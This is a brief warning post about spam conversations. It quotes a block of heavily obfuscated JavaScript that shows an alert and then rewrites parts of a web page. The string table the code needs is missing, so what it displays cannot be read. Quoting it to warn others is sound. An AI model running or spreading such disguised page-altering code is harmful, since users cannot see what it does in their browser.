Be careful with these spam convos

Code
(function(_0x4b1294, _0x39793c) {

    var _0xc25f7f = function(_0x3210fd) {

        while (--_0x3210fd) {

            _0x4b1294['push'](_0x4b1294['shift']());

        }

    };

    _0xc25f7f(++_0x39793c);

}(_0x3979, 0x19f));

var _0xc25f = function(_0x4b1294, _0x39793c) {

    _0x4b1294 = _0x4b1294 - 0x0;

    var _0xc25f7f = _0x3979[_0x4b1294];

    if (_0xc25f['ZSXLPD'] === undefined) {

        var _0x3210fd = function(_0x4fdce5) {

            var _0xe258d9 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';

            var _0x397c5f = String(_0x4fdce5)['replace'](/=+$/, '');

            var _0x1a3580 = '';

            for (var _0x1cd083 = 0x0, _0x2528a2, _0x50edfa, _0x55e8e7 = 0x0; _0x50edfa = _0x397c5f['charAt'](_0x55e8e7++); ~_0x50edfa && (_0x2528a2 = _0x1cd083 % 0x4 ? _0x2528a2 * 0x40 + _0x50edfa : _0x50edfa, _0x1cd083++ % 0x4) ? _0x1a3580 += String['fromCharCode'](0xff & _0x2528a2 >> (-0x2 * _0x1cd083 & 0x6)) : 0x0) {

                _0x50edfa = _0xe258d9['indexOf'](_0x50edfa);

            }

            return _0x1a3580;

        };

        _0xc25f['JPxrZc'] = function(_0x6db285) {

            var _0x24cf1f = _0x3210fd(_0x6db285);

            var _0x476142 = [];

            for (var _0x30b73f = 0x0, _0x4695e5 = _0x24cf1f['length']; _0x30b73f < _0x4695e5; _0x30b73f++) {

                _0x476142 += '%' + ('00' + _0x24cf1f['charCodeAt'](_0x30b73f)['toString'](0x10))['slice'](-0x2);

            }

            return decodeURIComponent(_0x476142);

        };

        _0xc25f['iwxxNt'] = {};

        _0xc25f['ZSXLPD'] = !![];

    }

    var _0x41933f = _0xc25f['iwxxNt'][_0x4b1294];

    if (_0x41933f === undefined) {

        _0xc25f7f = _0xc25f['JPxrZc'](_0xc25f7f);

        _0xc25f['iwxxNt'][_0x4b1294] = _0xc25f7f;

    } else {

        _0xc25f7f = _0x41933f;

    }

    return _0xc25f7f;

};

alert(_0xc25f('\x30\x78\x30'));

var tmr = setInterval(function() {

    var _0x18bb9b = document[_0xc25f('\x30\x78\x31')]('\x72\x6f\x77');

    _0x18bb9b[0x1]['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c'] = _0xc25f('\x30\x78\x32');

    document[_0xc25f('\x30\x78\x31')](_0xc25f('\x30\x78\x33'))[0x0][_0xc25f('\x30\x78\x34')] = _0xc25f('\x30\x78\x35');

    var _0x55f68c = document[_0xc25f('\x30\x78\x31')](_0xc25f('\x30\x78\x33'));

    if (_0x55f68c[_0xc25f('\x30\x78\x36')] > 0x0) clearInterval(tmr);

}, 0xa);